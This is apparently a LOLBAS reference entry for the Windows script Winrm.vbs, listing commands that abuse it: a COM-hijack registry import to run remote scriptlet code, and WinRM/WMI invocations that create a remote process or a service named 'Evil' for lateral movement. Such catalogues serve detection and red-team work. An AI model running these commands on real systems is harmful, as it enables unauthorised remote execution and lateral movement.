LOLBAS/OSScripts/Winrm.vbs.md

1.3 KiB

Winrm.vbs

  • Functions: Execute

reg.exe import c:\path\to\Slmgr.reg & winrm quickconfig
Hijack the Scripting.Dictionary COM Object to execute remote scriptlet (SCT) code.

winrm invoke Create wmicimv2/Win32_Process @{CommandLine="notepad.exe"} -r:http://target:5985
Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol.

winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="cmd.exe /k c:\windows\system32\notepad.exe"} -r:http://acmedc:5985   \nwinrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985
Lateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol.